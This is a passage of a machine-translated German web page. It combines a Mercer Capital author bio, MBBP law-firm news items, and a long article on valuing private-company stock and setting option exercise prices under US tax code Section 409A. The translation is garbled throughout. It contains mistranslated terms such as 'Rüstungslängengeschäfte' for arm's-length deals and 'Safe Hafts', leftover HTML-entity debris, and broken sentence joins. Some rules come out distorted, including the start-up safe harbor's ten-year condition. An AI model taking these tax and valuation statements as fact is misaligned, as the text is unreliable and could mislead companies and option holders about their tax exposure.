und formale Anerkennung seines Fachwissens erhalten hat In Form eines oder mehrerer Berufsbezeichnungen (ASA, ABV, CBA, CVA oder CFA). Die Bewertung Profis bei Mercer Capital haben die Tiefe des Wissens und die Breite der Erfahrung notwendig, um Ihnen zu helfen, den potenziell gefährlichen Weg des § 409A zu navigieren. Über den Autor Travis W. Harms Travis W. Harms führt Mercer Capitals Financial Reporting Bewertungsgruppe. Die Traviss-Praxis konzentriert sich auf die Bereitstellung öffentlicher und privater Kunden mit Fair-Value-Bewertungen und damit zusammenhängender Unterstützung in Bezug auf Goodwill und andere immaterielle Vermögenswerte, aktienbasierte Vergütungen. Erfahren Sie mehr x25BBMorse, Barnes-Brown amp Pendleton freut sich, die Hinzufügung von drei neuen Anwälten, Joshua H. Watson, William R. Schmidt, II und Kelly L. Hinkel bekannt geben. Josh und Kelly haben sich der Unternehmenspraxis angeschlossen, während Bill der Patentpraxis beigetreten ist. MBBP verdient Best Law Firms Ranking in Steuerrecht und Venture Capital Law Firm empfängt Tier-1-Ranking für Boston Metro-Bereich in Steuerrecht und Steuerstreitigkeiten 29. November 2016 Boston VC Rechtsanwalt John Hession gelistet in Best Lawyers 2017 Beste Anwälte hat aufgeführt John Hession in der Bereich des Venture Capital Gesetzes jedes Jahr seit 2007 28. November 2016 Copyright Alert: Neues Copyright Office Elektronisches System zur Registrierung Designated Agents unter der DMCA 22. September 2016 Fördermodelle in Biotech - Life Sciences Series - Panel 3 22. Juni 2016 Verlegung der Stiftung Für Wachstum: Entity Equity - Life Sciences Series - Panel 2 Wir vertreten Mandanten in 41 Ländern rund um den Globus und bieten die wichtigsten juristischen Dienstleistungen, die Unternehmen benötigen, um erfolgreich zu sein. Stammaktienbewertung und Optionspreis durch Privatunternehmen 10 Jahre Bewertung unter 409A Es war die langjährige Praxis von privat gehaltenen Unternehmen und ihren Rechts - und Buchführungsberatern, den fairen Marktwert ihrer Stammaktien zu bestimmen, um Optionsausübungspreise durch lose Schätzung festzusetzen Einen angemessenen Rabatt aus dem Preis der kürzlich vergebenen Vorzugsaktien auf der Grundlage der companys Phase der Entwicklung. Diese Praxis, die zuvor vom Internal Revenue Service (dem ldquoIRSrdquo oder dem ldquoServicerdquo) und der Securities and Exchange Commission (SEC) akzeptiert wurde, wurde abrupt durch die erste von der IRS im Jahr 2005 veröffentlichte interne Revenue Code Section 409A 1 beendet In der bisherigen Praxis enthalten die Vorschriften des Abschnitts 409A (die endgültige Fassung des IRS im Jahr 2007) detaillierte Leitlinien für die Bestimmung des Marktwerts der Stammaktien einer privat gehaltenen Gesellschaft, indem sie eine angemessene Anwendung einer angemessenen Bewertungsmethode verlangen , Einschließlich einiger vermutlich angemessener Bewertungsmethoden oder sichere Häfen. Diese Regeln haben private Unternehmensstammbewertungs - und Optionspreismethoden umgestaltet. Dieser Artikel beschreibt vor kurzem die Vorab-409A-Aktienbewertungspraktiken mdash die Zeit-geehrte angemessene Diskontmethode. Als Nächstes werden die Bewertungsregeln beschrieben, die durch die vom IRS erteilte Anleitung 409A einschließlich der Safe Harbors festgelegt wurden. Es beschreibt dann die Reaktionen von privat gehaltenen Unternehmen unterschiedlicher Größen und Phasen der Reife, die wir mdash beobachtet haben, was Management, ihre Boards und ihre Berater tatsächlich vor Ort tun. Schließlich beschreibt es die bewährten Praktiken, die wir bisher gesehen haben. Beachten Sie, dass dieser Artikel nicht alle Themen gemäß Abschnitt 409A abdecken soll. Der alleinige Fokus dieses Artikels ist die Auswirkung von Abschnitt 409A auf die Bewertung der Stammaktien von privat gehaltenen Unternehmen für Zwecke der Einstellung nichtqualifizierte Aktienoption (ldquoNQOrdquo) Ausübungspreise, so dass diese Optionen von der Anwendung von Abschnitt 409A befreit sind, und Mdash aus Gründen erklären wir unten ndash auch zum Zwecke der Festlegung der Ausübungspreise der Anreizoptionen (ISOs), obwohl ISOs nicht Gegenstand von Section 409A sind. Es gibt eine Reihe von bedeutenden Fragen, die sich auf die Auswirkungen von Section 409A auf Optionsbedingungen und auf nichtqualifizierte aufgeschobene Vergütungen allgemeiner beziehen, die über den Rahmen dieses Artikels hinausgehen. 2 Einleitung Es ist fast zehn Jahre her, seit Section 409A des Internal Revenue Code (ldquoCoderdquo) verabschiedet wurde. Dies ist ein Update eines Artikels schrieben wir im Jahr 2008, ein Jahr nach dem letzten Abschnitt 409A Vorschriften wurden von der IRS ausgestellt. In diesem Artikel behandeln wir wie bisher die Anwendung von Section 409A auf die Bewertung der Stammaktien von privat gehaltenen Unternehmen für die Festlegung der Ausübungspreise für Ausgleichszuschüsse von ISOs und NQOs an Mitarbeiter 3 und wir aktualisieren die besten Die wir in den letzten zehn Jahren beobachtet haben. Um die Bedeutung von Section 409A zu würdigen, ist es wichtig, die steuerliche Behandlung von nichtqualifizierten Aktienoptionen sowohl vor als auch nach der Annahme von Section 409A zu verstehen. Vor der Verabschiedung von Section 409A war ein Optionsnehmer, dem ein NQO für Dienstleistungen gewährt wurde, zum Zeitpunkt der Gewährung nicht steuerpflichtig. 4 Der Optionsnehmer war vielmehr auf den Spread zwischen dem Ausübungspreis und dem Marktwert der zugrunde liegenden Aktien zum Zeitpunkt der Optionsausübung steuerbar. § 409A änderte die Einkommensteuerbehandlung von nichtqualifizierten Aktienoptionen. Gemäß Section 409A kann ein Optionsnehmer, dem ein NQO im Austausch für Dienstleistungen gewährt wird, unmittelbar auf dem ldquospreadrdquo zwischen dem Ausübungspreis und dem Marktwert am Ende des Jahres, in dem die nichtqualifizierte Aktienoption (und in Nachfolgende Jahre vor Ausübung in dem Umfang, in dem der Wert der Basiswerte angestiegen ist) und 20 Steuerstrafen zuzüglich Zinsen. Eine Gesellschaft, die eine NQO gewährt, kann auch nachteilige steuerliche Konsequenzen haben, wenn sie es versäumt, die Einkommensteuer ordnungsgemäß zu verweigern und ihren Anteil an den Beschäftigungssteuern zu zahlen. Glücklicherweise ist eine NQO mit einem Ausübungspreis, der nicht geringer ist als der Marktwert der zugrunde liegenden Aktie zum Zeitpunkt der Gewährung, von Section 409A und seinen potenziell nachteiligen steuerlichen Konsequenzen ausgenommen. 5 Während ISOs nicht Gegenstand von Section 409A sind, sollte eine Option, die als ISO bezeichnet werden soll, später als nicht ISO qualifiziert werden (aus einer Reihe von Gründen, die über den Rahmen dieses Artikels hinausgehen, Mit einem Ausübungspreis, der unter dem Marktwert der zugrunde liegenden Stammaktie liegt), wird sie ab dem Datum der Gewährung als NQO behandelt. Nach den für ISOs geltenden Regeln, wenn eine Option eine ISO nicht sein würde, weil der Ausübungspreis zum Zeitpunkt der Gewährung weniger als der Marktwert der zugrunde liegenden Aktie war, wird die Option im Allgemeinen als ISO behandelt, wenn die Gesellschaft In gutem Glauben versucht, den Ausübungspreis zum Marktwert festzulegen. 6 Es besteht die Gefahr, dass ein Unternehmen, das den in § 409A festgelegten Bewertungsgrundsätzen nicht nachkommt, davon ausgegangen werden kann, dass es nicht in gutem Glauben versucht hat, einen fairen Marktwert zu ermitteln, so dass die Optionen nicht als ISO behandelt werden Vorbehaltlich aller Konsequenzen von Section 409A für NQOs mit einem Ausübungspreis unter dem fairen Marktwert. Somit ist auch die Festlegung der ISO-Ausübungspreise zum Marktwert nach den Bewertungsgrundsätzen des § 409A bewährte Verfahren geworden. Da wersquove in den vergangenen 10 Jahren Kunden beraten hat, ist die Etablierung eines tragfähigen Marktwertes im Bereich Section 409A von entscheidender Bedeutung. Wie Ausübungspreise für Stammaktien vor § 409A festgelegt wurden Bis zur Erteilung der IRS-Anleitung in Bezug auf § 409A ist die altehrwürdige Praxis der privat gehaltenen Unternehmen bei der Festlegung des Ausübungspreises für Anreizoptionen (ISOs) für ihre Stammaktien 7 War einfach, einfach und im Wesentlichen frei von Sorgen, dass die IRS würde viel zu sagen haben. 8 Für Erstinvestitionen könnte der ISO-Ausübungspreis bequem auf den Kurs festgelegt werden, den die Gründer für ihre Stammaktien bezahlt haben, und oft war es das Ziel, die Chancen auf dem Vormarsch in die Hände der wichtigsten frühen Mitarbeiter so billig wie möglich zu bringen. Nach anschließenden Investitionen wurde der Ausübungspreis zu dem Kurs aller Stammaktien, die an Anleger verkauft wurden, oder zu einem Abschlag aus dem Preis der letzten an die Anleger verkauften Vorzugsaktie gebunden. Zur Veranschaulichung kann ein Unternehmen mit einem fähigen und kompletten Managementteam, freigegebenen Produkten, einem Umsatz und einer geschlossenen C-Runde einen Rabatt von 50 Prozent verwendet haben. Es war alles sehr unwissenschaftlich. Selten hat ein Unternehmen kaufen eine unabhängige Bewertung für Option Preisgestaltung, und während die Unternehmen Auditoren wurden konsultiert mdash und ihre Meinungen Gewicht, obwohl nicht unbedingt ohne einige Armwrestling mdash das Gespräch zwischen ihnen, Management und das Board war in der Regel ziemlich kurz. Die Bewertungsregeln gemäß Section 409A 9 Die IRS-Richtlinie in Bezug auf Section 409A hat ein dramatisch anderes Umfeld geschaffen, in dem private Unternehmen und ihre Organe bei der Bestimmung der Bewertung ihrer Stammaktien und bei der Festlegung des Ausübungspreises ihrer Optionen tätig werden müssen. Die allgemeine Regel . § 409A Leitlinie legt die Regel (die wir die allgemeine Regel nennen), dass der Marktwert der Aktie von einem Bewertungstag ist der Wert durch die angemessene Anwendung einer angemessenen Bewertungsmethode auf der Grundlage aller Tatsachen und Umstände bestimmt. Eine Bewertungsmethode wird sinnvoll angewendet, wenn sie alle vorhandenen Informationsmaterialien zum Unternehmenswert berücksichtigt und konsequent angewendet wird. Eine Bewertungsmethode ist eine angemessene Bewertungsmethode, wenn sie Faktoren berücksichtigt, die gegebenenfalls den Wert der materiellen und immateriellen Vermögenswerte des Unternehmens, den Barwert der erwarteten zukünftigen Cashflows des Unternehmens, den Marktwert der Aktien oder Beteiligungen an der Gesellschaft berücksichtigen Ähnliche Unternehmen, die in einem ähnlichen Geschäft tätig sind, neuere Rüstungslängengeschäfte, die den Verkauf oder die Übertragung solcher Aktien oder Beteiligungen, Kontrollprämien oder Rabatte aufgrund mangelnder Marktfähigkeit betreffen, unabhängig davon, ob die Bewertungsmethode für andere Zwecke verwendet wird, die eine wesentliche wirtschaftliche Auswirkung auf die Gesellschaft, ihren Aktionären oder ihren Gläubigern. Nach der Allgemeinen Vorschrift ist die Verwendung einer Bewertung nicht zumutbar, wenn (i) sie die nach dem Berechnungsdatum verfügbaren Daten nicht berücksichtigt, die den Wert wesentlich beeinflussen können (zB die Finanzierung einer höheren Bewertung, die Erfüllung eines bedeutenden Meilensteins Als Abschluss der Entwicklung eines Schlüsselprodukts oder zur Herausgabe eines Schlüsselpatents oder zum Abschluss eines bedeutenden Vertrages) oder (ii) der Wert wurde in Bezug auf ein Datum berechnet, das mehr als 12 Monate früher als das Datum, an dem es verwendet wird, berechnet wurde. Eine Companyrsquos konsequente Verwendung einer Bewertungsmethode, um den Wert ihrer Bestände oder Vermögenswerte für andere Zwecke zu bestimmen, unterstützt die Angemessenheit einer Bewertungsmethode für Zwecke des § 409A. Wenn ein Unternehmen die Generalregel verwendet, um seinen Bestand zu bewerten, kann der IRS den Marktwert erfolgreich anfechten, indem er einfach zeigt, dass die Bewertungsmethode oder ihre Anwendung unvernünftig war. Die Belastung des Nachweises, dass die Methode angemessen und vernünftigerweise angewendet wurde, liegt beim Unternehmen. Die Safe Harbor Bewertungsmethoden. Eine Bewertungsmethode wird als vermutlich vernünftig betrachtet, wenn sie innerhalb einer der drei in den Leitlinien des Portfolios 409A beschriebenen drei Safe Harbor-Bewertungsmethoden liegt. Im Gegensatz zu einem Wert, der nach der Allgemeinen Regel festgelegt ist, kann der IRS den durch die Nutzung eines Safe Hafts ermittelten Marktwert nur erfolgreich beanspruchen, indem er nachweist, dass die Bewertungsmethode oder ihre Anwendung grob unangemessen war. Die Safe Harbors umfassen: Bewertung durch unabhängige Bewertung. Eine Bewertung durch einen qualifizierten unabhängigen Gutachter (die wir die unabhängige Beurteilungsmethode nennen) wird als angemessen angesehen, wenn das Bewertungsdatum nicht länger als 12 Monate vor dem Datum der Optionsgewährung liegt. Angemessener guter Glaube Schriftliche Bewertung einer Inbetriebnahme. Eine Bewertung der Bestände eines Privatunternehmens, das keine wesentlichen Geschäfte oder Geschäfte hat, die es seit 10 Jahren oder mehr durchgeführt hat, wenn es vernünftigerweise und in gutem Glauben erfolgt und durch einen schriftlichen Bericht (den wir die Start-up-Methode nennen) Wird als angemessen erachtet, wenn folgende Voraussetzungen erfüllt sind: Die Bewertung berücksichtigt die in der Allgemeinen Regel festgelegten Bewertungsfaktoren und Ereignisse nach der Bewertung, die eine frühere Bewertung unanwendbar machen können. Die Bewertung erfolgt durch eine Person mit erheblichem Wissen, Erfahrung, Ausbildung oder Ausbildung in der Durchführung ähnlicher Bewertungen durchgeführt. Wesentliche Erfahrung bedeutet in der Regel mindestens fünf Jahre relevante Erfahrung in der Unternehmensbewertung oder - bewertung, Finanzbuchhaltung, Investment Banking, Private Equity, gesicherte Darlehen oder andere vergleichbare Erfahrung in der Branche oder der Branche, in der das Unternehmen tätig ist. Die zu bewertende Aktie unterliegt keinem Put - oder Call-Recht, außer dem Unternehmensrecht der ersten Ablehnung oder dem Recht auf Rückerwerb eines Arbeitnehmers (oder eines anderen Dienstleisters) auf den Arbeitnehmer, der ein Angebot zum Erwerb eines unabhängigen Dritten erhält Oder Beendigung des Dienstes. Die Gesellschaft rechnet nicht vernünftigerweise ab dem Zeitpunkt der Anwendung der Bewertung, dass die Gesellschaft innerhalb der 90 Tage nach der Erteilung eine Änderung des Kontrollereignisses durchführt oder innerhalb von 180 Tagen nach der Gewährung einen öffentlichen Börsengang vornimmt. Formelbasierte Bewertung. Ein weiterer Safe Harbor (der wir die Formel-Methode nennen) steht für Unternehmen zur Verfügung, die eine Formel auf der Basis des Buchwertes, eines angemessenen Vielfachen des Ergebnisses oder einer vernünftigen Kombination der beiden Optionen zur Ausübung der Option verwenden. Die Formelmethode wird nur dann zur Verfügung stehen, wenn (a) die erworbene Aktie einer permanenten Übertragungsbeschränkung unterliegt, die den Inhaber zum Verkauf oder anderweitigen Übergang der Aktie an die Gesellschaft verpflichtet und b) die Formel von der Gesellschaft konsistent genutzt wird Die (oder eine ähnliche) Klasse für alle (sowohl kompensatorische als auch nicht kompensierende) Transfers an die Gesellschaft oder eine Person, die mehr als 10 Prozent der gesamten kombinierten Stimmrechte aller Aktienklassen der Gesellschaft besitzt, Arme Länge Verkauf von im Wesentlichen allen ausstehenden Aktien der Gesellschaft. Choices für Unternehmen Bewertungsmethoden In der Bewertungsumgebung des Segments 409A können Unternehmen beschließen, eine von drei Vorgehensweisen zu ergreifen: Folgen Sie den Pre-409A Practices. Ein Unternehmen könnte beschließen, vor-409A Bewertungspraktiken zu folgen. Wenn jedoch die Optionsausübungspreise später von der IRS angefochten werden, muss die Gesellschaft die Belastung erfüllen, um zu beweisen, dass ihre Aktienbewertungsmethode angemessen war und vernünftigerweise angewandt wurde, wie dies im Rahmen der Allgemeinen Regel erforderlich ist. Der Maßstab für diesen Nachweis sind die Regeln, Faktoren und Verfahren der Section 409A-Leitlinien, und wenn die existierenden Optionspreisprozeduren der Unternehmen nicht eindeutig auf diese Regeln, Faktoren und Verfahren verweisen und diesen Regeln folgen, wird sie mit großer Wahrscheinlichkeit diese Belastung und die negativen Auswirkungen verlieren Ergeben sich daraus steuerliche Konsequenzen nach § 409A. Interne Bewertung nach Abschnitt 409A Allgemeine Regel. Ein Unternehmen könnte wählen, eine interne Bestandsbewertung nach der Generalregel durchzuführen. Werden die daraus resultierenden Optionsausübungspreise später von der IRS angefochten, so muss die Gesellschaft erneut die Belastung erfüllen, um zu beweisen, dass ihre Aktienbewertungsmethode angemessen war und vernünftigerweise angewandt wurde. Da jedoch die Gesellschaft nachweisen kann, dass ihre Bewertung der Anleitung nach Section 409A folgt, ist es vernünftig zu glauben, dass ihre Chancen, diese Belastung zu befriedigen, deutlich besser sind, obwohl es keine Garantie dafür gibt, dass sie sich durchsetzt. Folgen Sie einer der Safe Harbor Methoden. Ein Unternehmen, das sein Risiko minimieren möchte, kann einen der drei sicheren Häfen verwenden, von denen angenommen wird, dass er zu einer vernünftigen Bewertung führt. Um den Wert eines Safe Harbour in Frage zu stellen, muss der IRS nachweisen, dass entweder die Bewertungsmethode oder ihre Anwendung grob unvernünftig war. Praktische Lösungen und Best Practices Als wir den ersten Entwurf dieses Artikels im Jahr 2008 verfassten, schlugen wir vor, dass die Bewertungsmuster bei privaten Unternehmen auf einem Kontinuum ohne scharfe Abgrenzungen von der Anlaufphase, von der Anlaufphase bis zur Vorerwartung fielen Des Liquiditätsereignisses auf die Nacherwartung des Liquiditätsereignisses. Seitdem ist es in unserer Praxis klar geworden, dass die Abgrenzung zwischen denjenigen liegt, die genügend Kapital haben, um eine unabhängige Bewertung zu erhalten, und diejenigen, die dies nicht tun. Start-up Stage Unternehmen. Im frühesten Stadium von einem Unternehmen, das bis zu dem Zeitpunkt gegründet hat, zu dem es erhebliche Vermögenswerte und Operationen zu beginnen beginnt, können viele der bekannten Bewertungsfaktoren, die in der IRS-Leitlinie dargelegt werden, schwierig oder unmöglich sein. Ein Unternehmen in der Regel Ausgabe Aktien an Gründungsaktionäre, nicht Optionen. Bis ein Unternehmen beginnt, Optionen für mehrere Mitarbeiter zu gewähren, wird Abschnitt 409A weniger Sorge. 10 Auch nach erheblichen Optionszusagen sehen wir, dass die Unternehmen den potenziell signifikanten Dollar und andere Kosten für die Erfüllung eines endgültigen Schutzes vor Nichteinhaltung von § 409A gegen die oft strengen finanziellen Verhältnisse von Unternehmensgründungen ausgleichen. In den frühen Tagen des Abschnitts 409A reichten die Kosten für die Bewertung von professionellen Begutachtungsunternehmen von etwa 10.000 bis 50.000 oder mehr, je nach Alter, Umsatz, Komplexität, Anzahl der Standorte, geistiges Eigentum und andere Faktoren, die das Ausmaß der Untersuchung kontrollieren Um einen Unternehmenswert zu ermitteln. Jetzt sind eine Reihe von etablierten und neuen Gutachter Unternehmen konkurrieren speziell für Abschnitt 409A Bewertung Unternehmen auf der Grundlage von Preis, viele von ihnen bieten erste Gebühren so niedrig wie 5.000 und einige sogar so niedrig wie 3.000. Einige Bewertungsgesellschaften bieten sogar ein Pauschalangebot an, in dem die folgenden vierteljährlichen Bewertungen mit einem Abschlag festgesetzt werden, wenn sie als Aktualisierung auf eine jährliche Bewertung durchgeführt werden. Obwohl die Kosten der unabhängigen Beurteilungsmethode mittlerweile sehr niedrig sind, zögern viele Start-up-Unternehmen, die Unabhängige Beurteilungsmethode aufgrund der Notwendigkeit, Kapital für Operationen zu wahren, unternommen zu haben. Die Verwendung der Formelmethode ist wegen der einschränkenden Bedingungen für ihre Verwendung ebenfalls unattraktiv, und für Frühstadien kann die Formelmethode nicht verfügbar sein, da sie weder Buchwert noch Ertrag aufweist. Auch der Einsatz der Start-up-Methode ist aufgrund des fehlenden internen Personals mit dem ldquosignificant expertiserdquo oft nicht möglich. Die allgemeine Empfehlung ist für Start-up-Unternehmen nicht anders als für Unternehmen in jedem Entwicklungsstadium: Entscheiden Sie sich für die maximale Sicherheit, die sie vernünftigerweise leisten können, und, wenn nötig, bereit sein, ein gewisses Risiko einzugehen, wenn sie barrierenfrei sind. Da auf dem Markt speziell auf die Bedürfnisse des Sektors 409A zugeschnittene, maßgeschneiderte Bewertungsdienste angeboten werden, können auch einige frühe Unternehmen davon ausgehen, dass die Kosten einer unabhängigen Begutachtung durch die gewährten Vorteile gerechtfertigt sind. Wenn sich der Start-up nicht leisten kann, die Unabhängige Beurteilungsmethode und die Formel-Methode ist zu restriktiv oder unangemessen, die restlichen Optionen sind die Start-up-Methode und die allgemeine Methode. In beiden Fällen müssen sich Unternehmen, die sich auf diese Methoden verlassen wollen, auf ihre Bewertungsverfahren und Prozesse konzentrieren, um die Einhaltung zu gewährleisten. Die Entwicklung bewährter Praktiken umfasst Folgendes: Das Unternehmen sollte eine Person (zB einen Direktor oder ein Mitglied der Geschäftsleitung) identifizieren, die einschlägige Kenntnisse, Erfahrungen, Ausbildung oder Ausbildung in der Durchführung ähnlicher Bewertungen hat, wenn eine solche Person innerhalb des Unternehmens existiert Vorteil der Start-up-Methode. Wenn eine solche Person nicht verfügbar ist, sollte das Unternehmen identifizieren eine Person, die die meisten relevanten Fähigkeiten, um die Beurteilung durchzuführen hat und prüfen, ob es machbar sein kann, dass personrsquos Qualifikationen mit zusätzlichen Bildung oder Ausbildung zu erweitern. Der Vorstand der Gesellschaft, mit dem Input der identifizierten Person (die ldquoInternal Appraiserrdquo), sollte die Faktoren bestimmen, die für seine Bewertung, da das Unternehmen Unternehmen und Entwicklungsstadium, darunter mindestens die Bewertungsfaktoren, die in der Allgemeine Regel. Der interne Gutachter des Unternehmens sollte die Vorbereitung eines schriftlichen Berichts, der die Bewertung der Gesellschaftsaktien festlegt, vorbereiten oder steuern. Der Bericht sollte die Qualifikationen des Gutachters darlegen, er sollte alle Bewertungsfaktoren erörtern (auch wenn es einfach ist, einen Faktor zu berücksichtigen, der irrelevant ist und warum), und er sollte zu einem endgültigen Schluss kommen (eine Reihe von Wert ist nicht hilfreich) Marktwert und Diskussion darüber, wie die Bewertungsfaktoren gewichtet wurden und warum. Das oben beschriebene Unternehmensbewertungsverfahren sollte in Zusammenarbeit und Konsultation mit seinem Wirtschaftsprüfungsunternehmen durchgeführt werden, um sicherzustellen, dass das Unternehmen keine Bewertung feststellt, die die Wirtschaftsprüfer in seinem Abschluss ablehnen. Der Vorstand der Gesellschaft sollte den endgültigen schriftlichen Bericht und die in ihm festgelegte Bewertung sorgfältig prüfen und ausdrücklich annehmen und sollte sich ausdrücklich auf die Bewertung beziehen, die der Bericht im Zusammenhang mit der Gewährung von Aktienoptionen festlegt. Werden später zusätzliche Optionen gewährt, so sollte die Kammer ausdrücklich feststellen, dass die bei der Erstellung des schriftlichen Berichts angeführten Bewertungsfaktoren und Tatsachen sich nicht wesentlich geändert haben. Wenn es wesentliche Änderungen gegeben hat oder mehr als 12 Monate seit dem Datum des Berichts vergangen sind, sollte der Bericht aktualisiert und neu verabschiedet werden. Intermediate-Stage Private Unternehmen. Sobald ein Unternehmen außerhalb der Start-up-Phase, aber noch nicht vernünftigerweise vorwegnehmen, ein Liquiditätsereignis, wird sein Board of Directors sein Urteil in Abstimmung mit dem Unternehmen Rechtsberater und Buchhalter zu bestimmen, ob es eine unabhängige Beurteilung erhalten sollte. Es gibt keinen hellen Leitungstest für, wenn ein Unternehmen dies tun sollte, aber in vielen Fällen wird das Unternehmen dieses Stadium erreicht haben, wenn es seine erste bedeutende Investition von den externen Investoren nimmt. Eine Engelrunde könnte ausreichen, um diese Sorge auszulösen. Boards, die aufgrund der Anlagetransaktion wirklich unabhängige externe Verwaltungsratsmitglieder erwirtschaften, werden eher zu dem Schluss kommen, dass eine unabhängige Beurteilung ratsam ist. In der Tat, Venture-Capital-Investoren in der Regel benötigen die Unternehmen, die sie investieren, um eine externe Beurteilung zu erhalten. Die allgemeine Empfehlung für Unternehmen in dieser Zwischenstufe des Wachstums ist wieder die gleiche: Entscheiden Sie sich für die maximale Sicherheit, die sie vernünftigerweise leisten können, und, wenn nötig, bereit sein, ein gewisses Risiko einzugehen, wenn sie in bar begrenzt sind. Unternehmen, die entweder begonnen haben, erhebliche Einnahmen zu erwirtschaften oder eine bedeutende Finanzierung abgeschlossen haben, werden beide in der Lage sein, die Kosten der unabhängigen Beurteilungsmethode zu tragen und sich um eine mögliche Haftung für die Gesellschaft und für die Optionsnehmer zu kümmern, wenn ihre Bewertung danach festgestellt wird Waren zu gering. Da auf dem Markt angemessene, auf die Bedürfnisse des Sektors 409A zugeschnittene Bewertungs - dienstleistungen angeboten werden, dürften mittelstän - dische Unternehmen feststellen, dass die Kosten durch die gewährten Leistungen gerechtfertigt sind. Unternehmen, die ein Liquiditätsereignis in ihrer Zukunft planen, sind eher dazu angetan, wenn nicht ein Big 4-Buchhaltungsunternehmen, dann eine der größeren und relativ anspruchsvollen regionalen Firmen zu verwenden, um sicherzustellen, dass ihre Buchhaltung und ihre Finanzangelegenheiten für einen Börsengang oder einen Börsengang erfolgen Erwerb. Viele solcher Unternehmen verlangen, dass ihre Kunden unabhängige Bewertungen ihrer Aktien für die Zwecke der Optionsgewährung erhalten und wersquove gehört Berichte von Wirtschaftsprüfungsgesellschaften, die sich weigern, neue Rechnungsprüfungskonten zu übernehmen, es sei denn, das Unternehmen stimmt dies, insbesondere im Hinblick auf die Optionsausschüttung, zu Vorschriften nach FAS 123R. Eine gängige Praxis, die sich bei der Durchführung der unabhängigen Beurteilungsmethode entwickelt hat, besteht darin, eine Erstbewertung (oder jährliche Beurteilungen) durchzuführen und diese dann vierteljährlich (oder halbjährlich, abhängig von den Unternehmensumständen) aktualisieren und planen zu lassen Option gewährt, um bald nach einem Update auftreten. Die einzige Einschränkung ist, dass das Unternehmen, wie es bei vielen Technologieunternehmen der Fall ist, seit der jüngsten Einschätzung ein Wertveränderungsereignis erlebt hat, das Unternehmen darauf achten muss, seine Bewertung derartiger Ereignisse mitzuteilen, um sicherzustellen, dass die Die Begutachtung alle relevanten Informationen. Wenn ein Unternehmen in diesem Stadium nach sorgfältiger Prüfung feststellt, dass die unabhängige Beurteilungsmethode nicht durchführbar ist, ist die nächste beste Option, die Start-Up-Methode anzuwenden, wenn alle Voraussetzungen für die Einhaltung dieser Methode erfüllt sind oder wenn die Start - Up-Methode nicht verfügbar ist, wenden Sie die allgemeine Regel an. In beiden Fällen sollte das Unternehmen mit seinen Buchhaltungs - und Anwaltskanzleien beraten, um eine angemessene Bewertungsmethode für das Unternehmen auf der Grundlage seiner Tatsachen und Umstände zu ermitteln und zumindest die Bewertung, wie oben für die Start-Up Stage Companies beschrieben, durchzuführen. Spätere Stage Private Companies. Unternehmen, die mdash oder vernünftigerweise antizipieren, sollten mdash innerhalb von 180 Tagen öffentlich zugänglich sein oder innerhalb von 90 Tagen erworben werden oder eine Geschäftseinheit haben, die seit mindestens 10 Jahren fortgesetzt wird, können sich nicht auf die Start-up-Methode verlassen und solange diese Unternehmen tätig sind Kann sich auf die Generalregel verlassen, viele werden und sollten sich überwiegend auf die unabhängige Beurteilungsmethode verlassen. Unternehmen, die einen Börsengang in Betracht ziehen, sind - zunächst durch ihre Abschlussprüfer und später durch die SEC-Regeln - verpflichtet, den Wert ihrer Bestände für die Zwecke der Finanzbuchhaltung mit Hilfe der Unabhängigen Beurteilungsmethode festzulegen. Unternehmen, die erworben werden wollen, werden darauf hingewiesen, dass potenzielle Käufer über die Einhaltung von Section 409A besorgt sein werden und im Rahmen ihrer Due Diligence den Nachweis der Verteidigung der Optionspreise, typischerweise der Independent Appraisal Method, verlangen. Andere Beobachtungen Schließlich können für Unternehmen, die keinen Safe Harbor nutzen und die Abhängigkeit von der Generalregel bestimmen, ein höheres Risiko als das Unternehmen einnehmen, und die Optionäre, die bereit sind zu übernehmen, auch die Begrenzung der Exposition des Sektors 409A durch die Optionen berücksichtigen (Nicht ausgenommen) Abschnitt 409A. Ein NQO kann ldquo409A-compliantrdquo sein, wenn seine Ausübung auf Ereignisse begrenzt ist, die nach Abschnitt 409A (z. B. bei (oder beim ersten Auftreten) eines Kontrollwechsels, einer Trennung vom Dienst, Tod, einer Behinderung oder zu einer bestimmten Zeit zulässig sind Oder Zeitplan gemäß der Definition in Abschnitt 409A). Obwohl viele Optionsnehmer, deren Optionen auf diese Weise nicht eingeschränkt werden, ihre Optionen bis zum Eintritt solcher Ereignisse nicht ausüben, kann die Anwendung dieser Beschränkungen auf subtile Weise das wirtschaftliche Geschäft oder die optioneersquos Wahrnehmung ändern und somit eine Wirkung haben Auf Anreize für Dienstleister. Die Anwendung dieser Einschränkungen aus steuerlichen und geschäftlichen Perspektiven ist unerlässlich. Fühlen Sie bitte sich frei, mit irgendeinem Mitglied unserer Steuer - oder Firmenpraktikgruppen in Verbindung zu treten, um Unterstützung und Beratung bei der Prüfung Ihrer companys Entscheidungen der Bewertungspraktiken gemäß Section 409A zu erhalten. Während wir nicht fähig sind, Unternehmensbewertungen durchzuführen, haben wir viele Kunden in diesen Fragen beraten. Fußnoten. 1. Das Steuergesetz zur Regelung von nicht qualifizierten, aufgeschobenen Vergütungsplänen einschließlich nichtqualifizierter Aktienoptionen, die am 22. Oktober 2004 in Kraft trat und am 1. Januar 2005 in Kraft trat. 2. Diese Themen werden in weiteren MBBP-Steuerwarnungen genauer behandelt. 3. Sofern nicht eine Freistellung gilt, umfasst Abschnitt 409A alle ldquoservice-Anbieter, rdquo nicht nur ldquoemployeesrdquo. Für die Zwecke dieses Artikels verwenden wir den Begriff ldquoemployeerdquo, um einen ldquoservice providerrdquo anzugeben, wie dieser Begriff in Abschnitt 409A definiert ist. 4. Diese Behandlung wurde angewendet, solange die Option keinen ldquoreadly-ermittelbaren fairen Marktwert im Sinne des § 83 Kodex und der damit zusammenhängenden Treasury-Vorschriften besaß. 5. Um von § 409A befreit zu sein, muss eine nichtqualifizierte Aktienoption auch kein zusätzliches Recht enthalten, mit Ausnahme des Rechts, Bareinlagen oder Aktien am Tag der Ausübung zu erhalten, was eine Entschädigung über den Zeitpunkt der Ausübung hinaus zulassen würde Option muss in Bezug auf ldquoservice Empfänger Stockrdquo, wie in der endgültigen Bestimmungen definiert ausgestellt werden. 6. Siehe Abschnitt 422 (c) (1). 7. Nur ISOs. Bis Section 409A war es nicht erforderlich, dass NQOs zum fairen Marktpreis bewertet werden. 8. Die SEC war nicht ein Anliegen, es sei denn, das Unternehmen dürfte für seinen Börsengang in weniger als einem Jahr oder so zu archivieren, so dass billige Lager Buchhaltung Anliegen, die eine Neufassung der Unternehmensabschlüsse erfordern könnte. Dies hat sich infolge von Section 409A nicht geändert, obwohl es in jüngster Zeit Veränderungen in den Bewertungsmethoden gab, dass die SEC-Sanktionen auf eine 